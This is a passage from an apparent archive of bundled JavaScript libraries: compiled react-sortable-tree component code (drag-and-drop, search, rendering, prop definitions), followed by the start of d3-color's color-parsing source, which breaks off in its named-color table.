  _createClass(ReactSortableTree, [{
    key: "componentDidMount",
    value: function componentDidMount() {
      ReactSortableTree.loadLazyChildren(this.props, this.state);
      var stateUpdate = ReactSortableTree.search(this.props, this.state, true, true, false);
      this.setState(stateUpdate); // Hook into react-dnd state changes to detect when the drag ends
      // TODO: This is very brittle, so it needs to be replaced if react-dnd
      // offers a more official way to detect when a drag ends

      this.clearMonitorSubscription = this.props.dragDropManager.getMonitor().subscribeToStateChange(this.handleDndMonitorChange);
    }
  }, {
    key: "componentDidUpdate",
    value: // listen to dragging
    function componentDidUpdate(prevProps, prevState) {
      // if it is not the same then call the onDragStateChanged
      if (this.state.dragging !== prevState.dragging) {
        if (this.props.onDragStateChanged) {
          this.props.onDragStateChanged({
            isDragging: this.state.dragging,
            draggedNode: this.state.draggedNode
          });
        }
      }
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      this.clearMonitorSubscription();
    }
  }, {
    key: "getRows",
    value: function getRows(treeData) {
      return memoizedGetFlatDataFromTree({
        ignoreCollapsed: true,
        getNodeKey: this.props.getNodeKey,
        treeData: treeData
      });
    }
  }, {
    key: "handleDndMonitorChange",
    value: function handleDndMonitorChange() {
      var monitor = this.props.dragDropManager.getMonitor(); // If the drag ends and the tree is still in a mid-drag state,
      // it means that the drag was canceled or the dragSource dropped
      // elsewhere, and we should reset the state of this tree

      if (!monitor.isDragging() && this.state.draggingTreeData) {
        this.endDrag();
      }
    }
  }, {
    key: "toggleChildrenVisibility",
    value: function toggleChildrenVisibility(_ref) {
      var targetNode = _ref.node,
          path = _ref.path;
      var instanceProps = this.state.instanceProps;
      var treeData = changeNodeAtPath({
        treeData: instanceProps.treeData,
        path: path,
        newNode: function newNode(_ref2) {
          var node = _ref2.node;
          return _objectSpread2(_objectSpread2({}, node), {}, {
            expanded: !node.expanded
          });
        },
        getNodeKey: this.props.getNodeKey
      });
      this.props.onChange(treeData);
      this.props.onVisibilityToggle({
        treeData: treeData,
        node: targetNode,
        expanded: !targetNode.expanded,
        path: path
      });
    }
  }, {
    key: "moveNode",
    value: function moveNode(_ref3) {
      var node = _ref3.node,
          prevPath = _ref3.path,
          prevTreeIndex = _ref3.treeIndex,
          depth = _ref3.depth,
          minimumTreeIndex = _ref3.minimumTreeIndex;

      var _insertNode = insertNode({
        treeData: this.state.draggingTreeData,
        newNode: node,
        depth: depth,
        minimumTreeIndex: minimumTreeIndex,
        expandParent: true,
        getNodeKey: this.props.getNodeKey
      }),
          treeData = _insertNode.treeData,
          treeIndex = _insertNode.treeIndex,
          path = _insertNode.path,
          nextParentNode = _insertNode.parentNode;

      this.props.onChange(treeData);
      this.props.onMoveNode({
        treeData: treeData,
        node: node,
        treeIndex: treeIndex,
        path: path,
        nextPath: path,
        nextTreeIndex: treeIndex,
        prevPath: prevPath,
        prevTreeIndex: prevTreeIndex,
        nextParentNode: nextParentNode
      });
    } // returns the new state after search

  }, {
    key: "startDrag",
    value: function startDrag(_ref4) {
      var _this2 = this;

      var path = _ref4.path;
      this.setState(function (prevState) {
        var _removeNode = removeNode({
          treeData: prevState.instanceProps.treeData,
          path: path,
          getNodeKey: _this2.props.getNodeKey
        }),
            draggingTreeData = _removeNode.treeData,
            draggedNode = _removeNode.node,
            draggedMinimumTreeIndex = _removeNode.treeIndex;

        return {
          draggingTreeData: draggingTreeData,
          draggedNode: draggedNode,
          draggedDepth: path.length - 1,
          draggedMinimumTreeIndex: draggedMinimumTreeIndex,
          dragging: true
        };
      });
    }
  }, {
    key: "dragHover",
    value: function dragHover(_ref5) {
      var _this3 = this;

      var draggedNode = _ref5.node,
          draggedDepth = _ref5.depth,
          draggedMinimumTreeIndex = _ref5.minimumTreeIndex;

      // Ignore this hover if it is at the same position as the last hover
      if (this.state.draggedDepth === draggedDepth && this.state.draggedMinimumTreeIndex === draggedMinimumTreeIndex) {
        return;
      }

      this.setState(function (_ref6) {
        var draggingTreeData = _ref6.draggingTreeData,
            instanceProps = _ref6.instanceProps;
        // Fall back to the tree data if something is being dragged in from
        //  an external element
        var newDraggingTreeData = draggingTreeData || instanceProps.treeData;
        var addedResult = memoizedInsertNode({
          treeData: newDraggingTreeData,
          newNode: draggedNode,
          depth: draggedDepth,
          minimumTreeIndex: draggedMinimumTreeIndex,
          expandParent: true,
          getNodeKey: _this3.props.getNodeKey
        });

        var rows = _this3.getRows(addedResult.treeData);

        var expandedParentPath = rows[addedResult.treeIndex].path;
        return {
          draggedNode: draggedNode,
          draggedDepth: draggedDepth,
          draggedMinimumTreeIndex: draggedMinimumTreeIndex,
          draggingTreeData: changeNodeAtPath({
            treeData: newDraggingTreeData,
            path: expandedParentPath.slice(0, -1),
            newNode: function newNode(_ref7) {
              var node = _ref7.node;
              return _objectSpread2(_objectSpread2({}, node), {}, {
                expanded: true
              });
            },
            getNodeKey: _this3.props.getNodeKey
          }),
          // reset the scroll focus so it doesn't jump back
          // to a search result while dragging
          searchFocusTreeIndex: null,
          dragging: true
        };
      });
    }
  }, {
    key: "endDrag",
    value: function endDrag(dropResult) {
      var _this4 = this;

      var instanceProps = this.state.instanceProps;

      var resetTree = function resetTree() {
        return _this4.setState({
          draggingTreeData: null,
          draggedNode: null,
          draggedMinimumTreeIndex: null,
          draggedDepth: null,
          dragging: false
        });
      }; // Drop was cancelled


      if (!dropResult) {
        resetTree();
      } else if (dropResult.treeId !== this.treeId) {
        // The node was dropped in an external drop target or tree
        var node = dropResult.node,
            path = dropResult.path,
            treeIndex = dropResult.treeIndex;
        var shouldCopy = this.props.shouldCopyOnOutsideDrop;

        if (typeof shouldCopy === 'function') {
          shouldCopy = shouldCopy({
            node: node,
            prevTreeIndex: treeIndex,
            prevPath: path
          });
        }

        var treeData = this.state.draggingTreeData || instanceProps.treeData; // If copying is enabled, a drop outside leaves behind a copy in the
        //  source tree

        if (shouldCopy) {
          treeData = changeNodeAtPath({
            treeData: instanceProps.treeData,
            // use treeData unaltered by the drag operation
            path: path,
            newNode: function newNode(_ref8) {
              var copyNode = _ref8.node;
              return _objectSpread2({}, copyNode);
            },
            // create a shallow copy of the node
            getNodeKey: this.props.getNodeKey
          });
        }

        this.props.onChange(treeData);
        this.props.onMoveNode({
          treeData: treeData,
          node: node,
          treeIndex: null,
          path: null,
          nextPath: null,
          nextTreeIndex: null,
          prevPath: path,
          prevTreeIndex: treeIndex
        });
      }
    }
  }, {
    key: "drop",
    value: function drop(dropResult) {
      this.moveNode(dropResult);
    }
  }, {
    key: "canNodeHaveChildren",
    value: function canNodeHaveChildren(node) {
      var canNodeHaveChildren = this.props.canNodeHaveChildren;

      if (canNodeHaveChildren) {
        return canNodeHaveChildren(node);
      }

      return true;
    } // Load any children in the tree that are given by a function
    // calls the onChange callback on the new treeData

  }, {
    key: "renderRow",
    value: function renderRow(row, _ref9) {
      var listIndex = _ref9.listIndex,
          style = _ref9.style,
          getPrevRow = _ref9.getPrevRow,
          matchKeys = _ref9.matchKeys,
          swapFrom = _ref9.swapFrom,
          swapDepth = _ref9.swapDepth,
          swapLength = _ref9.swapLength;
      var node = row.node,
          parentNode = row.parentNode,
          path = row.path,
          lowerSiblingCounts = row.lowerSiblingCounts,
          treeIndex = row.treeIndex;

      var _mergeTheme2 = mergeTheme(this.props),
          canDrag = _mergeTheme2.canDrag,
          generateNodeProps = _mergeTheme2.generateNodeProps,
          scaffoldBlockPxWidth = _mergeTheme2.scaffoldBlockPxWidth,
          searchFocusOffset = _mergeTheme2.searchFocusOffset,
          rowDirection = _mergeTheme2.rowDirection;

      var TreeNodeRenderer = this.treeNodeRenderer;
      var NodeContentRenderer = this.nodeContentRenderer;
      var nodeKey = path[path.length - 1];
      var isSearchMatch = (nodeKey in matchKeys);
      var isSearchFocus = isSearchMatch && matchKeys[nodeKey] === searchFocusOffset;
      var callbackParams = {
        node: node,
        parentNode: parentNode,
        path: path,
        lowerSiblingCounts: lowerSiblingCounts,
        treeIndex: treeIndex,
        isSearchMatch: isSearchMatch,
        isSearchFocus: isSearchFocus
      };
      var nodeProps = !generateNodeProps ? {} : generateNodeProps(callbackParams);
      var rowCanDrag = typeof canDrag !== 'function' ? canDrag : canDrag(callbackParams);
      var sharedProps = {
        treeIndex: treeIndex,
        scaffoldBlockPxWidth: scaffoldBlockPxWidth,
        node: node,
        path: path,
        treeId: this.treeId,
        rowDirection: rowDirection
      };
      return /*#__PURE__*/React__default.createElement(TreeNodeRenderer, _extends({
        style: style,
        key: nodeKey,
        listIndex: listIndex,
        getPrevRow: getPrevRow,
        lowerSiblingCounts: lowerSiblingCounts,
        swapFrom: swapFrom,
        swapLength: swapLength,
        swapDepth: swapDepth
      }, sharedProps), /*#__PURE__*/React__default.createElement(NodeContentRenderer, _extends({
        parentNode: parentNode,
        isSearchMatch: isSearchMatch,
        isSearchFocus: isSearchFocus,
        canDrag: rowCanDrag,
        toggleChildrenVisibility: this.toggleChildrenVisibility
      }, sharedProps, nodeProps)));
    }
  }, {
    key: "render",
    value: function render() {
      var _this5 = this;

      var _mergeTheme3 = mergeTheme(this.props),
          dragDropManager = _mergeTheme3.dragDropManager,
          style = _mergeTheme3.style,
          className = _mergeTheme3.className,
          innerStyle = _mergeTheme3.innerStyle,
          rowHeight = _mergeTheme3.rowHeight,
          isVirtualized = _mergeTheme3.isVirtualized,
          placeholderRenderer = _mergeTheme3.placeholderRenderer,
          reactVirtualizedListProps = _mergeTheme3.reactVirtualizedListProps,
          getNodeKey = _mergeTheme3.getNodeKey,
          rowDirection = _mergeTheme3.rowDirection;

      var _this$state = this.state,
          searchMatches = _this$state.searchMatches,
          searchFocusTreeIndex = _this$state.searchFocusTreeIndex,
          draggedNode = _this$state.draggedNode,
          draggedDepth = _this$state.draggedDepth,
          draggedMinimumTreeIndex = _this$state.draggedMinimumTreeIndex,
          instanceProps = _this$state.instanceProps;
      var treeData = this.state.draggingTreeData || instanceProps.treeData;
      var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null;
      var rows;
      var swapFrom = null;
      var swapLength = null;

      if (draggedNode && draggedMinimumTreeIndex !== null) {
        var addedResult = memoizedInsertNode({
          treeData: treeData,
          newNode: draggedNode,
          depth: draggedDepth,
          minimumTreeIndex: draggedMinimumTreeIndex,
          expandParent: true,
          getNodeKey: getNodeKey
        });
        var swapTo = draggedMinimumTreeIndex;
        swapFrom = addedResult.treeIndex;
        swapLength = 1 + memoizedGetDescendantCount({
          node: draggedNode
        });
        rows = slideRows(this.getRows(addedResult.treeData), swapFrom, swapTo, swapLength);
      } else {
        rows = this.getRows(treeData);
      } // Get indices for rows that match the search conditions


      var matchKeys = {};
      searchMatches.forEach(function (_ref10, i) {
        var path = _ref10.path;
        matchKeys[path[path.length - 1]] = i;
      }); // Seek to the focused search result if there is one specified

      var scrollToInfo = searchFocusTreeIndex !== null ? {
        scrollToIndex: searchFocusTreeIndex
      } : {};
      var containerStyle = style;
      var list;

      if (rows.length < 1) {
        var Placeholder = this.treePlaceholderRenderer;
        var PlaceholderContent = placeholderRenderer;
        list = /*#__PURE__*/React__default.createElement(Placeholder, {
          treeId: this.treeId,
          drop: this.drop
        }, /*#__PURE__*/React__default.createElement(PlaceholderContent, null));
      } else if (isVirtualized) {
        containerStyle = _objectSpread2({
          height: '100%'
        }, containerStyle);
        var ScrollZoneVirtualList = this.scrollZoneVirtualList; // Render list with react-virtualized

        list = /*#__PURE__*/React__default.createElement(reactVirtualized.AutoSizer, null, function (_ref11) {
          var height = _ref11.height,
              width = _ref11.width;
          return /*#__PURE__*/React__default.createElement(ScrollZoneVirtualList, _extends({}, scrollToInfo, {
            dragDropManager: dragDropManager,
            verticalStrength: _this5.vStrength,
            horizontalStrength: _this5.hStrength,
            speed: 30,
            scrollToAlignment: "start",
            className: "rst__virtualScrollOverride",
            width: width,
            onScroll: function onScroll(_ref12) {
              var scrollTop = _ref12.scrollTop;
              _this5.scrollTop = scrollTop;
            },
            height: height,
            style: innerStyle,
            rowCount: rows.length,
            estimatedRowSize: typeof rowHeight !== 'function' ? rowHeight : undefined,
            rowHeight: typeof rowHeight !== 'function' ? rowHeight : function (_ref13) {
              var index = _ref13.index;
              return rowHeight({
                index: index,
                treeIndex: index,
                node: rows[index].node,
                path: rows[index].path
              });
            },
            rowRenderer: function rowRenderer(_ref14) {
              var index = _ref14.index,
                  rowStyle = _ref14.style;
              return _this5.renderRow(rows[index], {
                listIndex: index,
                style: rowStyle,
                getPrevRow: function getPrevRow() {
                  return rows[index - 1] || null;
                },
                matchKeys: matchKeys,
                swapFrom: swapFrom,
                swapDepth: draggedDepth,
                swapLength: swapLength
              });
            }
          }, reactVirtualizedListProps));
        });
      } else {
        // Render list without react-virtualized
        list = rows.map(function (row, index) {
          return _this5.renderRow(row, {
            listIndex: index,
            style: {
              height: typeof rowHeight !== 'function' ? rowHeight : rowHeight({
                index: index,
                treeIndex: index,
                node: row.node,
                path: row.path
              })
            },
            getPrevRow: function getPrevRow() {
              return rows[index - 1] || null;
            },
            matchKeys: matchKeys,
            swapFrom: swapFrom,
            swapDepth: draggedDepth,
            swapLength: swapLength
          });
        });
      }

      return /*#__PURE__*/React__default.createElement("div", {
        className: classnames('rst__tree', className, rowDirectionClass),
        style: containerStyle
      }, list);
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      var instanceProps = prevState.instanceProps;
      var newState = {};
      var isTreeDataEqual = isEqual(instanceProps.treeData, nextProps.treeData); // make sure we have the most recent version of treeData

      instanceProps.treeData = nextProps.treeData;

      if (!isTreeDataEqual) {
        if (instanceProps.ignoreOneTreeUpdate) {
          instanceProps.ignoreOneTreeUpdate = false;
        } else {
          newState.searchFocusTreeIndex = null;
          ReactSortableTree.loadLazyChildren(nextProps, prevState);
          Object.assign(newState, ReactSortableTree.search(nextProps, prevState, false, false, false));
        }

        newState.draggingTreeData = null;
        newState.draggedNode = null;
        newState.draggedMinimumTreeIndex = null;
        newState.draggedDepth = null;
        newState.dragging = false;
      } else if (!isEqual(instanceProps.searchQuery, nextProps.searchQuery)) {
        Object.assign(newState, ReactSortableTree.search(nextProps, prevState, true, true, false));
      } else if (instanceProps.searchFocusOffset !== nextProps.searchFocusOffset) {
        Object.assign(newState, ReactSortableTree.search(nextProps, prevState, true, true, true));
      }

      instanceProps.searchQuery = nextProps.searchQuery;
      instanceProps.searchFocusOffset = nextProps.searchFocusOffset;
      newState.instanceProps = _objectSpread2(_objectSpread2({}, instanceProps), newState.instanceProps);
      return newState;
    }
  }, {
    key: "search",
    value: function search(props, state, seekIndex, expand, singleSearch) {
      var onChange = props.onChange,
          getNodeKey = props.getNodeKey,
          searchFinishCallback = props.searchFinishCallback,
          searchQuery = props.searchQuery,
          searchMethod = props.searchMethod,
          searchFocusOffset = props.searchFocusOffset,
          onlyExpandSearchedNodes = props.onlyExpandSearchedNodes;
      var instanceProps = state.instanceProps; // Skip search if no conditions are specified

      if (!searchQuery && !searchMethod) {
        if (searchFinishCallback) {
          searchFinishCallback([]);
        }

        return {
          searchMatches: []
        };
      }

      var newState = {
        instanceProps: {}
      }; // if onlyExpandSearchedNodes collapse the tree and search

      var _find = find({
        getNodeKey: getNodeKey,
        treeData: onlyExpandSearchedNodes ? toggleExpandedForAll({
          treeData: instanceProps.treeData,
          expanded: false
        }) : instanceProps.treeData,
        searchQuery: searchQuery,
        searchMethod: searchMethod || defaultSearchMethod,
        searchFocusOffset: searchFocusOffset,
        expandAllMatchPaths: expand && !singleSearch,
        expandFocusMatchPaths: !!expand
      }),
          expandedTreeData = _find.treeData,
          searchMatches = _find.matches; // Update the tree with data leaving all paths leading to matching nodes open


      if (expand) {
        newState.instanceProps.ignoreOneTreeUpdate = true; // Prevents infinite loop

        onChange(expandedTreeData);
      }

      if (searchFinishCallback) {
        searchFinishCallback(searchMatches);
      }

      var searchFocusTreeIndex = null;

      if (seekIndex && searchFocusOffset !== null && searchFocusOffset < searchMatches.length) {
        searchFocusTreeIndex = searchMatches[searchFocusOffset].treeIndex;
      }

      newState.searchMatches = searchMatches;
      newState.searchFocusTreeIndex = searchFocusTreeIndex;
      return newState;
    }
  }, {
    key: "loadLazyChildren",
    value: function loadLazyChildren(props, state) {
      var instanceProps = state.instanceProps;
      walk({
        treeData: instanceProps.treeData,
        getNodeKey: props.getNodeKey,
        callback: function callback(_ref15) {
          var node = _ref15.node,
              path = _ref15.path,
              lowerSiblingCounts = _ref15.lowerSiblingCounts,
              treeIndex = _ref15.treeIndex;

          // If the node has children defined by a function, and is either expanded
          //  or set to load even before expansion, run the function.
          if (node.children && typeof node.children === 'function' && (node.expanded || props.loadCollapsedLazyChildren)) {
            // Call the children fetching function
            node.children({
              node: node,
              path: path,
              lowerSiblingCounts: lowerSiblingCounts,
              treeIndex: treeIndex,
              // Provide a helper to append the new data when it is received
              done: function done(childrenArray) {
                return props.onChange(changeNodeAtPath({
                  treeData: instanceProps.treeData,
                  path: path,
                  newNode: function newNode(_ref16) {
                    var oldNode = _ref16.node;
                    return (// Only replace the old node if it's the one we set off to find children
                      //  for in the first place
                      oldNode === node ? _objectSpread2(_objectSpread2({}, oldNode), {}, {
                        children: childrenArray
                      }) : oldNode
                    );
                  },
                  getNodeKey: props.getNodeKey
                }));
              }
            });
          }
        }
      });
    }
  }]);

  return ReactSortableTree;
}(React.Component);

ReactSortableTree.propTypes = {
  dragDropManager: PropTypes.shape({
    getMonitor: PropTypes.func
  }).isRequired,
  // Tree data in the following format:
  // [{title: 'main', subtitle: 'sub'}, { title: 'value2', expanded: true, children: [{ title: 'value3') }] }]
  // `title` is the primary label for the node
  // `subtitle` is a secondary label for the node
  // `expanded` shows children of the node if true, or hides them if false. Defaults to false.
  // `children` is an array of child nodes belonging to the node.
  treeData: PropTypes.arrayOf(PropTypes.object).isRequired,
  // Style applied to the container wrapping the tree (style defaults to {height: '100%'})
  style: PropTypes.shape({}),
  // Class name for the container wrapping the tree
  className: PropTypes.string,
  // Style applied to the inner, scrollable container (for padding, etc.)
  innerStyle: PropTypes.shape({}),
  // Used by react-virtualized
  // Either a fixed row height (number) or a function that returns the
  // height of a row given its index: `({ index: number }): number`
  rowHeight: PropTypes.oneOfType([PropTypes.number, PropTypes.func]),
  // Size in px of the region near the edges that initiates scrolling on dragover
  slideRegionSize: PropTypes.number,
  // Custom properties to hand to the react-virtualized list
  // https://github.com/bvaughn/react-virtualized/blob/master/docs/List.md#prop-types
  reactVirtualizedListProps: PropTypes.shape({}),
  // The width of the blocks containing the lines representing the structure of the tree.
  scaffoldBlockPxWidth: PropTypes.number,
  // Maximum depth nodes can be inserted at. Defaults to infinite.
  maxDepth: PropTypes.number,
  // The method used to search nodes.
  // Defaults to a function that uses the `searchQuery` string to search for nodes with
  // matching `title` or `subtitle` values.
  // NOTE: Changing `searchMethod` will not update the search, but changing the `searchQuery` will.
  searchMethod: PropTypes.func,
  // Used by the `searchMethod` to highlight and scroll to matched nodes.
  // Should be a string for the default `searchMethod`, but can be anything when using a custom search.
  searchQuery: PropTypes.any,
  // eslint-disable-line react/forbid-prop-types
  // Outline the <`searchFocusOffset`>th node and scroll to it.
  searchFocusOffset: PropTypes.number,
  // Get the nodes that match the search criteria. Used for counting total matches, etc.
  searchFinishCallback: PropTypes.func,
  // Generate an object with additional props to be passed to the node renderer.
  // Use this for adding buttons via the `buttons` key,
  // or additional `style` / `className` settings.
  generateNodeProps: PropTypes.func,
  // Set to false to disable virtualization.
  // NOTE: Auto-scrolling while dragging, and scrolling to the `searchFocusOffset` will be disabled.
  isVirtualized: PropTypes.bool,
  treeNodeRenderer: PropTypes.func,
  // Override the default component for rendering nodes (but keep the scaffolding generator)
  // This is an advanced option for complete customization of the appearance.
  // It is best to copy the component in `node-renderer-default.js` to use as a base, and customize as needed.
  nodeContentRenderer: PropTypes.func,
  // Override the default component for rendering an empty tree
  // This is an advanced option for complete customization of the appearance.
  // It is best to copy the component in `placeholder-renderer-default.js` to use as a base,
  // and customize as needed.
  placeholderRenderer: PropTypes.func,
  theme: PropTypes.shape({
    style: PropTypes.shape({}),
    innerStyle: PropTypes.shape({}),
    reactVirtualizedListProps: PropTypes.shape({}),
    scaffoldBlockPxWidth: PropTypes.number,
    slideRegionSize: PropTypes.number,
    rowHeight: PropTypes.oneOfType([PropTypes.number, PropTypes.func]),
    treeNodeRenderer: PropTypes.func,
    nodeContentRenderer: PropTypes.func,
    placeholderRenderer: PropTypes.func
  }),
  // Determine the unique key used to identify each node and
  // generate the `path` array passed in callbacks.
  // By default, returns the index in the tree (omitting hidden nodes).
  getNodeKey: PropTypes.func,
  // Called whenever tree data changed.
  // Just like with React input elements, you have to update your
  // own component's data to see the changes reflected.
  onChange: PropTypes.func.isRequired,
  // Called after node move operation.
  onMoveNode: PropTypes.func,
  // Determine whether a node can be dragged. Set to false to disable dragging on all nodes.
  canDrag: PropTypes.oneOfType([PropTypes.func, PropTypes.bool]),
  // Determine whether a node can be dropped based on its path and parents'.
  canDrop: PropTypes.func,
  // Determine whether a node can have children
  canNodeHaveChildren: PropTypes.func,
  // When true, or a callback returning true, dropping nodes to react-dnd
  // drop targets outside of this tree will not remove them from this tree
  shouldCopyOnOutsideDrop: PropTypes.oneOfType([PropTypes.func, PropTypes.bool]),
  // Called after children nodes collapsed or expanded.
  onVisibilityToggle: PropTypes.func,
  dndType: PropTypes.string,
  // Called to track between dropped and dragging
  onDragStateChanged: PropTypes.func,
  // Specify that nodes that do not match search will be collapsed
  onlyExpandSearchedNodes: PropTypes.bool,
  // rtl support
  rowDirection: PropTypes.string
};
ReactSortableTree.defaultProps = {
  canDrag: true,
  canDrop: null,
  canNodeHaveChildren: function canNodeHaveChildren() {
    return true;
  },
  className: '',
  dndType: null,
  generateNodeProps: null,
  getNodeKey: defaultGetNodeKey,
  innerStyle: {},
  isVirtualized: true,
  maxDepth: null,
  treeNodeRenderer: null,
  nodeContentRenderer: null,
  onMoveNode: function onMoveNode() {},
  onVisibilityToggle: function onVisibilityToggle() {},
  placeholderRenderer: null,
  reactVirtualizedListProps: {},
  rowHeight: null,
  scaffoldBlockPxWidth: null,
  searchFinishCallback: null,
  searchFocusOffset: null,
  searchMethod: null,
  searchQuery: null,
  shouldCopyOnOutsideDrop: false,
  slideRegionSize: null,
  style: {},
  theme: {},
  onDragStateChanged: function onDragStateChanged() {},
  onlyExpandSearchedNodes: false,
  rowDirection: 'ltr'
};
polyfill$1(ReactSortableTree);

var SortableTreeWithoutDndContext = function SortableTreeWithoutDndContext(props) {
  return /*#__PURE__*/React__default.createElement(reactDnd.DndContext.Consumer, null, function (_ref17) {
    var dragDropManager = _ref17.dragDropManager;
    return dragDropManager === undefined ? null : /*#__PURE__*/React__default.createElement(ReactSortableTree, _extends({}, props, {
      dragDropManager: dragDropManager
    }));
  });
};

var SortableTree = function SortableTree(props) {
  return /*#__PURE__*/React__default.createElement(reactDnd.DndProvider, {
    backend: reactDndHtml5Backend.HTML5Backend
  }, /*#__PURE__*/React__default.createElement(SortableTreeWithoutDndContext, props));
}; // Export the tree component without the react-dnd DragDropContext,

exports.SortableTreeWithoutDndContext = SortableTreeWithoutDndContext;
exports.addNodeUnderParent = addNodeUnderParent;
exports.changeNodeAtPath = changeNodeAtPath;
exports.default = SortableTree;
exports.defaultGetNodeKey = defaultGetNodeKey;
exports.defaultSearchMethod = defaultSearchMethod;
exports.find = find;
exports.getDepth = getDepth;
exports.getDescendantCount = getDescendantCount;
exports.getFlatDataFromTree = getFlatDataFromTree;
exports.getNodeAtPath = getNodeAtPath;
exports.getTreeFromFlatData = getTreeFromFlatData;
exports.getVisibleNodeCount = getVisibleNodeCount;
exports.getVisibleNodeInfoAtIndex = getVisibleNodeInfoAtIndex;
exports.insertNode = insertNode;
exports.isDescendant = isDescendant;
exports.map = map;
exports.removeNode = removeNode;
exports.removeNodeAtPath = removeNodeAtPath;
exports.toggleExpandedForAll = toggleExpandedForAll;
exports.walk = walk;
d3-color.js000064400000037276151677275200006557 0ustar00// https://d3js.org/d3-color/ v1.2.3 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(factory((global.d3 = global.d3 || {})));
}(this, (function (exports) { 'use strict';

function define(constructor, factory, prototype) {
  constructor.prototype = factory.prototype = prototype;
  prototype.constructor = constructor;
}

function extend(parent, definition) {
  var prototype = Object.create(parent.prototype);
  for (var key in definition) prototype[key] = definition[key];
  return prototype;
}

function Color() {}

var darker = 0.7;
var brighter = 1 / darker;

var reI = "\\s*([+-]?\\d+)\\s*",
    reN = "\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)\\s*",
    reP = "\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)%\\s*",
    reHex3 = /^#([0-9a-f]{3})$/,
    reHex6 = /^#([0-9a-f]{6})$/,
    reRgbInteger = new RegExp("^rgb\\(" + [reI, reI, reI] + "\\)$"),
    reRgbPercent = new RegExp("^rgb\\(" + [reP, reP, reP] + "\\)$"),
    reRgbaInteger = new RegExp("^rgba\\(" + [reI, reI, reI, reN] + "\\)$"),
    reRgbaPercent = new RegExp("^rgba\\(" + [reP, reP, reP, reN] + "\\)$"),
    reHslPercent = new RegExp("^hsl\\(" + [reN, reP, reP] + "\\)$"),
    reHslaPercent = new RegExp("^hsla\\(" + [reN, reP, reP, reN] + "\\)$");

var named = {
  aliceblue: 0xf0f8ff,
  antiquewhite: 0xfaebd7,
  aqua: 0x00ffff,
  aquamarine: 0x7fffd4,
  azure: 0xf0ffff,
  beige: 0xf5f5dc,
  bisque: 0xffe4c4,
  black: 0x000000,
  blanchedalmond: 0xffebcd,
  blue: 0x0000ff,
  blueviolet: 0x8a2be2,
  brown: 0xa52a2a,
  burlywood: 0xdeb887,
  cadetblue: 0x5f9ea0,
  chartreuse: 0x7fff00,
  chocolate: 0xd2691e,
  coral: 0xff7f50,
  cornflowerblue: 0x6495ed,
  cornsilk: 0xfff8dc,
  crimson: 0xdc143c,
  cyan: 0x00ffff,
  darkblue: 0x00008b,
  darkcyan: 0x008b8b,
  darkgoldenrod: 0xb8860b,
  darkgray: 0xa9a9a9,
  darkgreen: 0x006400,
  darkgrey: 0xa9a9a9,
  darkkhaki: 0xbdb76b,
  darkmagenta: 0x8b008b,
  darkolivegreen: 0x556b2f,
  darkorange: 0xff8c00,
  darkorchid: 0x9932cc,
  darkred: 0x8b0000,
  darksalmon: 0xe9967a,
  darkseagreen: 0x8fbc8f,
  darkslateblue: 0x483d8b,
  darkslategray: 0x2f4f4f,
  darkslategrey: 0x2f4f4f,
  darkturquoise: 0x00ced1,
  darkviolet: 0x9400d3,
  deeppink: 0xff1493,
  deepskyblue: 0x00bfff,
  dimgray: 0x696969,
  dimgrey: 0x696969,
  dodgerblue: 0x1e90ff,
  firebrick: 0xb22222,
  floralwhite: 0xfffaf0,
  forestgreen: 0x228b22,
  fuchsia: 0xff00ff,
  gainsboro: 0xdcdcdc,
  ghostwhite: 0xf8f8ff,
  gold: 0xffd700,
  goldenrod: 0xdaa520,
  gray: 0x808080,
  green: 0x008000,
  greenyellow: 0xadff2f,
  grey: 0x808080,
  honeydew: 0xf0fff0,
  hotpink: 0xff69b4,
  indianred: 0xcd5c5c,
  indigo: 0x4b0082,
  ivory: 0xfffff0,
  khaki: 0xf0e68c,
  lavender: 0xe6e6fa,
  lavenderblush: 0xfff0f5,
  lawngreen: 0x7cfc00,
  lemonchiffon: 0xfffacd,
  lightblue: 0xadd8e6,
  lightcoral: 0xf08080,
  lightcyan: 0xe0ffff,
  lightgoldenrodyellow: 0xfafad2,
  lightgray: 0xd3d3d3,
  lightgreen: 0x90ee90,
  lightgrey: 0xd3d3d3,
  lightpink: 0xffb6c1,
  lightsalmon: 0xffa07a,
  lightseagreen: 0x20b2aa,
  lightskyblue: 0x87cefa,
  lightslategray: 0x778899,
  lightslategrey: 0x778899,
  lightsteelblue: 0xb0c4de,
  lightyellow: 0xffffe0,
  lime: 0x00ff00,
  limegreen: 0x32cd32,
  linen: 0xfaf0e6,
  magenta: 0xff00ff,
  maroon: 0x800000,
  mediumaquamarine: 0x66cdaa,
  mediumblue: 0x0000cd,
  mediumorchid: 0xba55d3,
  mediumpurple: 0x9370db,
  mediumseagreen: 0x3cb371,
  mediumslateblue: 0x7b68ee,
  mediumspringgreen: 0x00fa9a,
  mediumturquoise: 0x48d1cc,
  mediumvioletred: 0xc71585,
  midnightblue: 0x191970,
  mintcream: 0xf5fffa,
  mistyrose: 0xffe4e1,
  moccasin: 0xffe4b5,
  navajowhite: 0xffdead,
  navy: 0x000080,
  oldlace: 0xfdf5e6,
  olive: 0x808000,
  olivedrab: 0x6b8e23,
  orange: 0xffa500,
  orangered: 0xff4500,
  orchid: 0xda70d6,
  palegoldenrod: 0xeee8aa,
  palegreen: 0x98fb98,
  paleturquoise: 0xafeeee,
  palevioletred: 0xdb7093,
  papayawhip: 0xffefd5,
  peachpuff: 0xffdab9,
  peru: 0xcd853f,
  pink: 0xffc0cb,
  plum: 0xdda0dd,
  powderblue: 0xb0e0e6,
  purple: 0x800080,
  rebeccapurple: 0x663399,
  red: 0xff0000,
  rosybrown: 0xbc8f8f,
  royalblue: 0x4169e1,
  saddlebrown: 0x8b4513,
  salmon: 0xfa8072,
  sandybrown: 0xf4a460,
  seagreen: 0x2e8b57,
  seashell: 0xfff5ee,
  sienna: 0xa0522d,
  silver: 0xc0c0c0,
  skyblue: 0x87ceeb,
  slateblue: 0x6a5acd,
  slategray: 0x708090,
  slategrey: 0x708090,
  snow: 0xfffafa,
  springgreen: 0x00ff7f,
  steelblue: 0x4682b4,
  tan: 0xd2b48c,
  teal: 0x008080,
